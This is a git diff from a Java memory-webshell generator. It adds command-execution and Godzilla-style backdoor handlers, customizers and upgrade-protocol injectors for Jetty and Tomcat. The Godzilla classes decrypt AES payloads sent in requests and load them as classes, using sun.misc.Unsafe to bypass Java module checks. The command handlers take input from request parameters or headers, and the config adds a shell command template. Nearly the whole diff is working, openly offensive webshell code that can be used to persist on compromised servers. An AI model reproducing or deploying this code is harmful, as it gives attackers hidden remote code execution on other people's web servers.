.addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class) .addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class)
.addInjector(WEBSOCKET, TomcatWebSocketInjector.class) .addInjector(WEBSOCKET, TomcatWebSocketInjector.class)
.addInjector(JAKARTA_WEBSOCKET, TomcatWebSocketInjector.class) .addInjector(JAKARTA_WEBSOCKET, TomcatWebSocketInjector.class)
.addInjector(UPGRADE, TomcatUpgradeInjector.class)
.build(); .build();
} }
} }
@@ -0,0 +1,64 @@
package com.reajason.javaweb.memshell.shelltool.command;
import java.io.InputStream;
import java.io.OutputStream;
import java.util.Scanner;
/**
* @author ReaJason
* @since 2025/5/15
*/
public class CommandJettyAgentHandler {
private static String paramName;
@Override
public boolean equals(Object obj) {
Object[] args = ((Object[]) obj);
Object baseRequest = null;
Object request = null;
Object response = null;
if (args.length == 4) {
Object arg4 = args[3];
baseRequest = args[1];
if (arg4 instanceof Integer) {
// jetty6
request = args[1];
response = args[2];
} else {
request = args[2];
response = args[3];
}
} else {
// ee10
request = args[0];
response = args[1];
}
try {
String p = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, paramName);
if (p == null || p.isEmpty()) {
p = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, paramName);
}
if (p != null) {
String param = getParam(p);
InputStream inputStream = getInputStream(param);
OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes());
if (baseRequest != null) {
baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true);
}
return true;
}
} catch (Throwable e) {
e.printStackTrace();
}
return false;
}
private String getParam(String param) {
return param;
}
private InputStream getInputStream(String param) throws Exception {
return null;
}
}
@@ -0,0 +1,80 @@
package com.reajason.javaweb.memshell.shelltool.command;
import org.eclipse.jetty.server.Connector;
import org.eclipse.jetty.server.HttpConfiguration;
import org.eclipse.jetty.server.Request;
import java.io.InputStream;
import java.io.OutputStream;
import java.lang.reflect.Method;
import java.util.Scanner;
/**
* @author ReaJason
* @since 2025/11/29
*/
public class CommandJettyCustomizer implements HttpConfiguration.Customizer {
private static String paramName;
public CommandJettyCustomizer() {
}
// jetty9+
public void customize(Connector connector, HttpConfiguration channelConfig, Request request) {
try {
String p = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, paramName);
if (p == null || p.isEmpty()) {
p = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, paramName);
}
if (p != null) {
String param = getParam(p);
Object response = invokeMethod(request, "getResponse");
InputStream inputStream = getInputStream(param);
OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes());
invokeMethod(request, "setHandled", new Class[]{boolean.class}, new Object[]{true});
}
} catch (Throwable e) {
e.printStackTrace();
}
}
private String getParam(String param) {
return param;
}
private InputStream getInputStream(String param) throws Exception {
return null;
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName) {
return invokeMethod(obj, methodName, null, null);
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
try {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} catch (Exception e) {
throw new RuntimeException("Error invoking method: " + (obj instanceof Class ? ((Class<?>) obj).getName() : obj.getClass().getName()) + "." + methodName, e);
}
}
}
@@ -1,37 +1,35 @@
package com.reajason.javaweb.memshell.shelltool.command; package com.reajason.javaweb.memshell.shelltool.command;
import org.eclipse.jetty.server.Handler;
import org.eclipse.jetty.server.Request;
import org.eclipse.jetty.server.Response;
import org.eclipse.jetty.util.Callback;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream; import java.io.InputStream;
import java.io.OutputStream; import java.io.OutputStream;
import java.lang.reflect.Method;
import java.nio.ByteBuffer;
import java.nio.charset.Charset;
import java.util.Scanner;
import static java.nio.charset.StandardCharsets.UTF_8;
/** /**
* @author ReaJason * @author ReaJason
* @since 2025/5/15 * @since 2025/11/29
*/ */
public class CommandJettyHandler { public class CommandJettyHandler {
private static String paramName; private static String paramName;
private Handler nextHandler;
@Override public CommandJettyHandler() {
public boolean equals(Object obj) { }
Object[] args = ((Object[]) obj);
Object baseRequest = null; public boolean handle(Object request, Object response) {
Object request = null;
Object response = null;
if (args.length == 4) {
Object arg4 = args[3];
baseRequest = args[1];
if (arg4 instanceof Integer) {
// jetty6
request = args[1];
response = args[2];
} else {
request = args[2];
response = args[3];
}
} else {
// ee10
request = args[0];
response = args[1];
}
try { try {
String p = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, paramName); String p = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, paramName);
if (p == null || p.isEmpty()) { if (p == null || p.isEmpty()) {
@@ -41,14 +39,7 @@ public class CommandJettyHandler {
String param = getParam(p); String param = getParam(p);
InputStream inputStream = getInputStream(param); InputStream inputStream = getInputStream(param);
OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response); OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
byte[] buf = new byte[8192]; outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes());
int length;
while ((length = inputStream.read(buf)) != -1) {
outputStream.write(buf, 0, length);
}
if (baseRequest != null) {
baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true);
}
return true; return true;
} }
} catch (Throwable e) { } catch (Throwable e) {
@@ -57,6 +48,51 @@ public class CommandJettyHandler {
return false; return false;
} }
// jetty12
public boolean handle(Request request, Response response, Callback callback) throws Exception {
try {
Object parameters = Request.class.getMethod("extractQueryParameters", Request.class, Charset.class).invoke(null, request, UTF_8);
String p = (String) invokeMethod(parameters, "getValue", new Class[]{String.class}, new Object[]{paramName});
if (p == null || p.isEmpty()) {
Object headers = invokeMethod(request, "getHeaders");
p = (String) invokeMethod(headers, "get", new Class[]{String.class}, new Object[]{paramName});
}
if (p != null) {
String param = getParam(p);
InputStream inputStream = getInputStream(param);
ByteBuffer content = UTF_8.encode(new Scanner(inputStream).useDelimiter("\\A").next());
invokeMethod(response, "setStatus", new Class[]{int.class}, new Object[]{200});
invokeMethod(response, "write", new Class[]{boolean.class, ByteBuffer.class, Callback.class}, new Object[]{true, content, callback});
return true;
}
} catch (Throwable e) {
e.printStackTrace();
}
return nextHandler.handle(request, response, callback);
}
// jetty6
public void handle(String target, HttpServletRequest request, HttpServletResponse response, int dispatch) throws IOException, ServletException {
if (handle(request, response)) {
invokeMethod(request, "setHandled", new Class[]{boolean.class}, new Object[]{true});
return;
}
if (nextHandler != null) {
nextHandler.handle(target, request, response, dispatch);
}
}
// jetty7+
public void handle(String target, Request baseRequest, HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException {
if (handle(request, response)) {
invokeMethod(baseRequest, "setHandled", new Class[]{boolean.class}, new Object[]{true});
return;
}
if (nextHandler != null) {
nextHandler.handle(target, baseRequest, request, response);
}
}
private String getParam(String param) { private String getParam(String param) {
return param; return param;
} }
@@ -64,4 +100,35 @@ public class CommandJettyHandler {
private InputStream getInputStream(String param) throws Exception { private InputStream getInputStream(String param) throws Exception {
return null; return null;
} }
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName) {
return invokeMethod(obj, methodName, null, null);
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
try {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} catch (Exception e) {
throw new RuntimeException("Error invoking method: " + (obj instanceof Class ? ((Class<?>) obj).getName() : obj.getClass().getName()) + "." + methodName, e);
}
}
} }
@@ -0,0 +1,94 @@
package com.reajason.javaweb.memshell.shelltool.command;
import org.apache.catalina.connector.Response;
import org.apache.coyote.Adapter;
import org.apache.coyote.Processor;
import org.apache.coyote.Request;
import org.apache.coyote.UpgradeProtocol;
import org.apache.coyote.http11.upgrade.InternalHttpUpgradeHandler;
import org.apache.tomcat.util.net.SocketWrapperBase;
import java.io.InputStream;
import java.io.OutputStream;
import java.lang.reflect.Field;
import java.util.Scanner;
/**
* @author ReaJason
* @since 2025/12/6
*/
public class CommandUpgrade implements UpgradeProtocol {
public static String paramName;
@Override
public boolean accept(Request req) {
org.apache.catalina.connector.Request request = ((org.apache.catalina.connector.Request) req.getNote(1));
Response response = request.getResponse();
try {
String p = request.getParameter(paramName);
if (p == null || p.isEmpty()) {
p = request.getHeader(paramName);
}
if (p != null) {
String param = getParam(p);
InputStream inputStream = getInputStream(param);
OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes());
outputStream.flush();
inputStream.close();
return true;
}
} catch (Throwable e) {
e.printStackTrace();
}
return true;
}
private String getParam(String param) {
return param;
}
private InputStream getInputStream(String param) throws Exception {
return null;
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception {
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
Field field = clazz.getDeclaredField(name);
field.setAccessible(true);
return field.get(obj);
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
@Override
public String getHttpUpgradeName(boolean isSSLEnabled) {
return "";
}
@Override
public byte[] getAlpnIdentifier() {
return new byte[0];
}
@Override
public String getAlpnName() {
return "";
}
@Override
public Processor getProcessor(SocketWrapperBase<?> socketWrapper, Adapter adapter) {
return null;
}
@Override
public InternalHttpUpgradeHandler getInternalUpgradeHandler(Adapter adapter, Request request) {
return null;
}
}
@@ -0,0 +1,127 @@
package com.reajason.javaweb.memshell.shelltool.godzilla;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import java.io.ByteArrayOutputStream;
import java.io.PrintStream;
import java.io.PrintWriter;
/**
* @author ReaJason
*/
public class GodzillaJettyAgentHandler extends ClassLoader {
private static String key;
private static String pass;
private static String md5;
private static String headerName;
private static String headerValue;
private static Class<?> payload;
public GodzillaJettyAgentHandler() {
}
public GodzillaJettyAgentHandler(ClassLoader z) {
super(z);
}
@Override
public boolean equals(Object obj) {
Object[] args = ((Object[]) obj);
Object baseRequest = null;
Object request = null;
Object response = null;
if (args.length == 4) {
Object arg4 = args[3];
baseRequest = args[1];
if (arg4 instanceof Integer) {
// jetty6
request = args[1];
response = args[2];
} else {
request = args[2];
response = args[3];
}
} else {
// ee10
request = args[0];
response = args[1];
}
try {
String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName);
if (value != null && value.contains(headerValue)) {
PrintWriter writer = (PrintWriter) response.getClass().getMethod("getWriter").invoke(response);
try {
String parameter = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, pass);
byte[] data = base64Decode(parameter);
data = this.x(data, false);
if (payload == null) {
payload = new GodzillaJettyAgentHandler(Thread.currentThread().getContextClassLoader()).defineClass(data, 0, data.length);
} else {
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
Object f = payload.newInstance();
f.equals(arrOut);
f.equals(request);
f.equals(data);
f.toString();
writer.write(md5.substring(0, 16));
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
writer.write(md5.substring(16));
}
if (baseRequest != null) {
baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true);
}
} catch (Throwable e) {
e.printStackTrace();
writer.write(getErrorMessage(e));
}
return true;
}
} catch (Throwable e) {
e.printStackTrace();
}
return false;
}
@SuppressWarnings("all")
public static String base64Encode(byte[] bs) throws Exception {
try {
Object encoder = Class.forName("java.util.Base64").getMethod("getEncoder").invoke(null);
return (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
} catch (Exception var6) {
Object encoder = Class.forName("sun.misc.BASE64Encoder").newInstance();
return (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
}
}
@SuppressWarnings("all")
public static byte[] base64Decode(String bs) throws Exception {
try {
Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) {
Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance();
return (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
}
}
public byte[] x(byte[] s, boolean m) throws Exception {
Cipher c = Cipher.getInstance("AES");
c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
return c.doFinal(s);
}
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
}
@@ -0,0 +1,142 @@
package com.reajason.javaweb.memshell.shelltool.godzilla;
import org.eclipse.jetty.server.Connector;
import org.eclipse.jetty.server.HttpConfiguration;
import org.eclipse.jetty.server.Request;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import java.io.ByteArrayOutputStream;
import java.io.PrintStream;
import java.io.PrintWriter;
import java.lang.reflect.Method;
/**
* @author ReaJason
* @since 2025/11/29
*/
public class GodzillaJettyCustomizer extends ClassLoader implements HttpConfiguration.Customizer {
private static String key;
private static String pass;
private static String md5;
private static String headerName;
private static String headerValue;
private static Class<?> payload;
public GodzillaJettyCustomizer() {
}
protected GodzillaJettyCustomizer(ClassLoader parent) {
super(parent);
}
// jetty9+
public void customize(Connector connector, HttpConfiguration channelConfig, Request request) {
try {
String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName);
if (value != null && value.contains(headerValue)) {
Object response = invokeMethod(request, "getResponse");
PrintWriter writer = (PrintWriter) response.getClass().getMethod("getWriter").invoke(response);
try {
String parameter = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, pass);
byte[] data = base64Decode(parameter);
data = this.x(data, false);
if (payload == null) {
payload = new GodzillaJettyCustomizer(Thread.currentThread().getContextClassLoader()).defineClass(data, 0, data.length);
} else {
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
Object f = payload.newInstance();
f.equals(arrOut);
f.equals(request);
f.equals(data);
f.toString();
writer.write(md5.substring(0, 16));
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
writer.write(md5.substring(16));
}
} catch (Throwable e) {
e.printStackTrace();
writer.write(getErrorMessage(e));
}
invokeMethod(request, "setHandled", new Class[]{boolean.class}, new Object[]{true});
return;
}
} catch (Throwable e) {
e.printStackTrace();
}
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName) {
return invokeMethod(obj, methodName, null, null);
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
try {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} catch (Exception e) {
throw new RuntimeException("Error invoking method: " + (obj instanceof Class ? ((Class<?>) obj).getName() : obj.getClass().getName()) + "." + methodName, e);
}
}
@SuppressWarnings("all")
public static String base64Encode(byte[] bs) throws Exception {
try {
Object encoder = Class.forName("java.util.Base64").getMethod("getEncoder").invoke(null);
return (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
} catch (Exception var6) {
Object encoder = Class.forName("sun.misc.BASE64Encoder").newInstance();
return (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
}
}
@SuppressWarnings("all")
public static byte[] base64Decode(String bs) throws Exception {
try {
Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) {
Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance();
return (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
}
}
public byte[] x(byte[] s, boolean m) throws Exception {
Cipher c = Cipher.getInstance("AES");
c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
return c.doFinal(s);
}
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
}
@@ -1,51 +1,42 @@
package com.reajason.javaweb.memshell.shelltool.godzilla; package com.reajason.javaweb.memshell.shelltool.godzilla;
import org.eclipse.jetty.server.Handler;
import org.eclipse.jetty.server.Request;
import org.eclipse.jetty.server.Response;
import org.eclipse.jetty.util.Callback;
import javax.crypto.Cipher; import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec; import javax.crypto.spec.SecretKeySpec;
import java.io.ByteArrayOutputStream; import javax.servlet.ServletException;
import java.io.PrintStream; import javax.servlet.http.HttpServletRequest;
import java.io.PrintWriter; import javax.servlet.http.HttpServletResponse;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
import java.nio.ByteBuffer;
import java.nio.charset.Charset;
import static java.nio.charset.StandardCharsets.UTF_8;
/** /**
* @author ReaJason * @author ReaJason
* @since 2025/11/29
*/ */
public class GodzillaJettyHandler extends ClassLoader { public class GodzillaJettyHandler {
private static String key; private static String key;
private static String pass; private static String pass;
private static String md5; private static String md5;
private static String headerName; private static String headerName;
private static String headerValue; private static String headerValue;
private static Class<?> payload; private static Class<?> payload;
private Handler nextHandler;
public GodzillaJettyHandler() { public GodzillaJettyHandler() {
} }
public GodzillaJettyHandler(ClassLoader z) { public boolean handle(Object request, Object response) {
super(z);
}
@Override
public boolean equals(Object obj) {
Object[] args = ((Object[]) obj);
Object baseRequest = null;
Object request = null;
Object response = null;
if (args.length == 4) {
Object arg4 = args[3];
baseRequest = args[1];
if (arg4 instanceof Integer) {
// jetty6
request = args[1];
response = args[2];
} else {
request = args[2];
response = args[3];
}
} else {
// ee10
request = args[0];
response = args[1];
}
try { try {
String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName); String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName);
if (value != null && value.contains(headerValue)) { if (value != null && value.contains(headerValue)) {
@@ -55,7 +46,7 @@ public class GodzillaJettyHandler extends ClassLoader {
byte[] data = base64Decode(parameter); byte[] data = base64Decode(parameter);
data = this.x(data, false); data = this.x(data, false);
if (payload == null) { if (payload == null) {
payload = new GodzillaJettyHandler(Thread.currentThread().getContextClassLoader()).defineClass(data, 0, data.length); payload = reflectionDefineClass(data);
} else { } else {
ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
Object f = payload.newInstance(); Object f = payload.newInstance();
@@ -67,9 +58,6 @@ public class GodzillaJettyHandler extends ClassLoader {
writer.write(base64Encode(this.x(arrOut.toByteArray(), true))); writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
writer.write(md5.substring(16)); writer.write(md5.substring(16));
} }
if (baseRequest != null) {
baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true);
}
} catch (Throwable e) { } catch (Throwable e) {
e.printStackTrace(); e.printStackTrace();
writer.write(getErrorMessage(e)); writer.write(getErrorMessage(e));
@@ -82,6 +70,127 @@ public class GodzillaJettyHandler extends ClassLoader {
return false; return false;
} }
// jetty12
public boolean handle(Request request, Response response, Callback callback) throws Exception {
try {
Object headers = invokeMethod(request, "getHeaders");
String value = (String) invokeMethod(headers, "get", new Class[]{String.class}, new Object[]{headerName});
if (value != null && value.contains(headerValue)) {
StringWriter writer = new StringWriter();
try {
Object parameters = Request.class.getMethod("getParameters", Request.class).invoke(null, request);
String parameter = (String) invokeMethod(parameters, "getValue", new Class[]{String.class}, new Object[]{pass});
byte[] data = base64Decode(parameter);
data = this.x(data, false);
if (payload == null) {
payload = reflectionDefineClass(data);
} else {
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
Object f = payload.newInstance();
f.equals(arrOut);
f.equals(request);
f.equals(data);
f.toString();
writer.write(md5.substring(0, 16));
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
writer.write(md5.substring(16));
}
} catch (Throwable e) {
e.printStackTrace();
writer.write(getErrorMessage(e));
}
invokeMethod(response, "setStatus", new Class[]{int.class}, new Object[]{200});
ByteBuffer content = UTF_8.encode(writer.toString());
invokeMethod(response, "write", new Class[]{boolean.class, ByteBuffer.class, Callback.class}, new Object[]{true, content, callback});
return true;
}
} catch (Throwable e) {
e.printStackTrace();
}
return nextHandler.handle(request, response, callback);
}
// jetty6
public void handle(String target, HttpServletRequest request, HttpServletResponse response, int dispatch) throws IOException, ServletException {
if (handle(request, response)) {
invokeMethod(request, "setHandled", new Class[]{boolean.class}, new Object[]{true});
return;
}
if (nextHandler != null) {
nextHandler.handle(target, request, response, dispatch);
}
}
// jetty7+
public void handle(String target, Request baseRequest, HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException {
if (handle(request, response)) {
invokeMethod(baseRequest, "setHandled", new Class[]{boolean.class}, new Object[]{true});
return;
}
if (nextHandler != null) {
nextHandler.handle(target, baseRequest, request, response);
}
}
public Class<?> reflectionDefineClass(byte[] classBytes) throws Exception {
Object unsafe = null;
Object rawModule = null;
long offset = 48;
Method getAndSetObjectM = null;
try {
Class<?> unsafeClass = Class.forName("sun.misc.Unsafe");
Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
unsafeField.setAccessible(true);
unsafe = unsafeField.get(null);
rawModule = Class.class.getMethod("getModule").invoke(this.getClass(), (Object[]) null);
Object module = Class.class.getMethod("getModule").invoke(Object.class, (Object[]) null);
Method objectFieldOffsetM = unsafe.getClass().getMethod("objectFieldOffset", Field.class);
offset = (Long) objectFieldOffsetM.invoke(unsafe, Class.class.getDeclaredField("module"));
getAndSetObjectM = unsafe.getClass().getMethod("getAndSetObject", Object.class, long.class, Object.class);
getAndSetObjectM.invoke(unsafe, this.getClass(), offset, module);
} catch (Throwable ignored) {
}
URLClassLoader urlClassLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
Method defMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
defMethod.setAccessible(true);
Class<?> clazz = (Class<?>) defMethod.invoke(urlClassLoader, classBytes, 0, classBytes.length);
if (getAndSetObjectM != null) {
getAndSetObjectM.invoke(unsafe, this.getClass(), offset, rawModule);
}
return clazz;
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName) {
return invokeMethod(obj, methodName, null, null);
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
try {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} catch (Exception e) {
throw new RuntimeException("Error invoking method: " + (obj instanceof Class ? ((Class<?>) obj).getName() : obj.getClass().getName()) + "." + methodName, e);
}
}
@SuppressWarnings("all") @SuppressWarnings("all")
public static String base64Encode(byte[] bs) throws Exception { public static String base64Encode(byte[] bs) throws Exception {
try { try {
@@ -15,6 +15,9 @@ public class ProbeShellGenerator {
if (StringUtils.isBlank(probeConfig.getShellClassName())) { if (StringUtils.isBlank(probeConfig.getShellClassName())) {
probeConfig.setShellClassName(CommonUtil.generateInjectorClassName()); probeConfig.setShellClassName(CommonUtil.generateInjectorClassName());
} }
if (probeConfig.isLambdaSuffix()) {
probeConfig.setShellClassName(CommonUtil.appendLambdaSuffix(probeConfig.getShellClassName()));
}
byte[] bytes = probeConfig.getProbeMethod().generateBytes(probeConfig, contentConfig); byte[] bytes = probeConfig.getProbeMethod().generateBytes(probeConfig, contentConfig);
return ProbeShellResult.builder() return ProbeShellResult.builder()
.shellClassName(probeConfig.getShellClassName()) .shellClassName(probeConfig.getShellClassName())
@@ -53,6 +53,12 @@ public class ProbeConfig {
@Builder.Default @Builder.Default
private boolean staticInitialize = false; private boolean staticInitialize = false;
/**
* 追加 Lambda 类名后缀
*/
@Builder.Default
private boolean lambdaSuffix = false;
public boolean isDebugOff() { public boolean isDebugOff() {
return !debug; return !debug;
} }
@@ -1,8 +1,11 @@
package com.reajason.javaweb.probe.config; package com.reajason.javaweb.probe.config;
import com.reajason.javaweb.utils.CommonUtil;
import lombok.Builder;
import lombok.Getter; import lombok.Getter;
import lombok.ToString; import lombok.ToString;
import lombok.experimental.SuperBuilder; import lombok.experimental.SuperBuilder;
import org.apache.commons.lang3.StringUtils;
/** /**
* @author ReaJason * @author ReaJason
@@ -13,5 +16,31 @@ import lombok.experimental.SuperBuilder;
@ToString @ToString
public class ResponseBodyConfig extends ProbeContentConfig { public class ResponseBodyConfig extends ProbeContentConfig {
private String server; private String server;
private String reqParamName;
/**
* 获取参数的请求头或请求参数名称
*/
@Builder.Default
private String reqParamName = CommonUtil.getRandomString(8);
/**
* 内置执行类加载的字节码
*/
private String base64Bytes;
/**
* 命令执行模板例如 sh -c "{command}" 2>&1使用 {command} 作为占位符
*/
private String commandTemplate;
public static abstract class ResponseBodyConfigBuilder<C extends ResponseBodyConfig, B extends ResponseBodyConfig.ResponseBodyConfigBuilder<C, B>>
extends ProbeContentConfig.ProbeContentConfigBuilder<C, B> {
public B reqParamName(String reqParamName) {
if (StringUtils.isNotBlank(reqParamName)) {
reqParamName$value = reqParamName;
reqParamName$set = true;
}
return self();
}
}
} }

Some files were not shown because too many files have changed in this diff Show More